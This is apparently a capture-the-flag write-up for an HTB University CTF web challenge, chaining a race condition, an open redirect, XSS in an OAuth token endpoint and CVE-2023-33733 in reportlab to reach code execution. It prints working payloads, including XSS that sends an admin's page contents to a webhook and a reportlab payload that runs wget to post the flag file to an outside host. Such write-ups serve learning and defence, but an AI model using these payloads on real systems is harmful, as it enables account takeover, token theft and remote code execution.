tl;dr
- Leak JWT token through Race Condition.
- Leak authorization token via an open redirect.
- Chaining XSS & CSRF in the oauth pipeline to leak the Admin’s oauth access token.
- RCE via CVE-2023-33733.
Challenge Points: 400+
No. of solves: < 15
Solved by: Winters
Challenge Description
Some black-hat affiliated students talk of an underground hacking forum they frequent, the university hacking club has decided it is worth the effort of trying to hack into this illicit platform, in order to gain access to a sizeable array of digital weaponry that could prove critical to securing the campus before the undead arrive.
Intro
This was an interesting challenge from HTB University CTF this year. In order to solve this we had to chain multiple vulnerablilities together ranging from an Open redirect to RCE. This challenge also had the least number of solves among the Web Category. We were not able to solve it during the ctf but solved it later on.
Analysis
This challenge had two main parts, the phantom-feed service and phantom-market service. These two parts are connected through an oauth pipeline.
Race Condition
Now first we need an account to proceed, inspecting the code of the register endpoint we can see that our username, password and email are getting stored in the database, after which a verification code is sent to our email, which we need to proceed, but the catch here is the verification code is never sent so we can’t actually login, but there is a flaw.
1 | # routes.py |
Intially when the users table is created in database.py verified is by default set to true.
1 | # database.py |
Verified is then set to false when the verification code is generated for the particular user.
1 | #database.py |
Also we can see that the flask app is running in threaded mode, so there is a possiblity of a potential race condition here, which we can exploit by registering a new user who will have verified
set to true. Concurrently, we’ll send a post request to the /login endpoint which will log us in before verfied
is set to false again in the email verification part of the app. Hence we’ll get the JWT token for the logged in user.
Exploit
Here is the exploit that we used to get the JWT token via Race condition.
1 | # Get JWT token |
Oauth
After logging in with the token, we can see that there is a feature to put up a feed in the forum and is handled by the /feed
endpoint. The market_link that we give in this feed is given to the bot which is running as an admin user.
In the bot’s code we can see that our given link gets added to the bot like this client.get("http://127.0.0.1:5000" + link)
without any sanitization being performed on our given link. So if we give @example.com
as our market_link in the field the bot would visit http://127.0.0.1:5000@example.com
, ie the bot will visit example.com
So we can redirect the bot to where ever we want. Here we need control of the entire URL not just the path as the oauth pipeline is setup on http://127.0.0.1:3000
.
1 | events { |
The oauth flow in this application is pretty simple, the /oauth2/auth
endpoint takes in a client_id
and redirect_url
as GET parameters and basically asks the user to allow authorization of client_id
or not via oauth, this is the start of the oauth pipeline in this application. If authorized the request gets forwarded to the /oauth2/code
endpoint which generates the authorization_code taking in the client_id and redirect_url as inputs, like shown in the code below
1 | # routes.py |
So we can leak the authorization_code here as we have complete control over the redirect_url parameter, so if we give our webhook url here we can leak the authorization code.
Once we have the authorization_code a request is sent to the /oauth2/token
endpoint by callback.vue file.
1 |
|
Here our authorization_token is verified with the one created in the /oauth2/code
endpoint which was stored in the database. If we have given the correct authorization_token then the endpoint will create an access_token which is a JWT token and returns a JSON object at the very end which will have the generated access_token. But there is a catch here, the Content-Type of the response is text/html
, so if we have something like <script> alert('xss')</script>
in redirect_url it will be rendered in the DOM and the script will be executed.
The Oauth pipeline ends after making the request to /oauth2/token
endpoint if everything is verified properly then we are taken to phantom_market
which is the second part of this challenge.
Exploit
So combining everything that we know, first we can leak the authorization token via the open redirect that we found, so we’ll set the following link
1 | @127.0.0.1:3000/phantomfeed/oauth2/code?client_id=phantom-market&redirect_url=<your_webhook>?<script>window.location.href=`https://webhook.site/<your_webhook>?token=${btoa(document.body.innerHTML)}`</script> |
as the market_link in the /feed endpoint which will make the bot start an oauth pipeline, and we’ll get the authorization code for the admin user in our webhook.
Now we have the authorization_code,we can send the request to the /oauth2/token
endpoint, remember the client_id and redirect_url that we give in both endpoints /oauth2/code
and /oauth2/token
should be the same as it is verified in the backend with the help of the authorization_code. So we give the following link as the market link in the /feed
endpoint.
1 | @127.0.0.1:3000/phantomfeed/oauth2/token?client_id=phantom-market&redirect_url=<your_webhook>?<script>window.location.href=`<your_webhook>?token=${btoa(document.body.innerHTML)}`</script>&authorization_code=<authorization_code> |
Since our client_id and redirect_url are the same in both the requests, the endpoint will return the page with our XSS payload which will take the entire page and send it to our webhook, now this would also have the access_token for the admin that we need.
phantom_market
Now we have the admin’s access token we can login as admin.
1 | # routes.py - phantom_market |
We just need to add in the header Authorization: Bearer <admin's_access_token>
and we’ll be logged in as admin.
Now the question comes why did we leak the admin’s token in the first place. The answer is that we needed access to the endpoint /orders/html
which takes a color
post parameter and it’ll generate a pdf containing all the orders that you have made, as shown in the code below.
1 |
|
For this functionality they are using reportlab==3.6.12
which has an RCE vulnerability as mentioned in this CVE
There are a lot of POC’s out there to exploit this, one of the payload is this
1 | color = [[[getattr(pow, Word('__globals__'))['os'].system('wget <your_webhook> --post-file /flag*') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red' |
So sending a POST request to /orders/html
with color set to the above payload would get us the flag in our webhook.
1 | import requests |
Flag
HTB{r4c3_2_rc3_04uth2_j4ck3d!}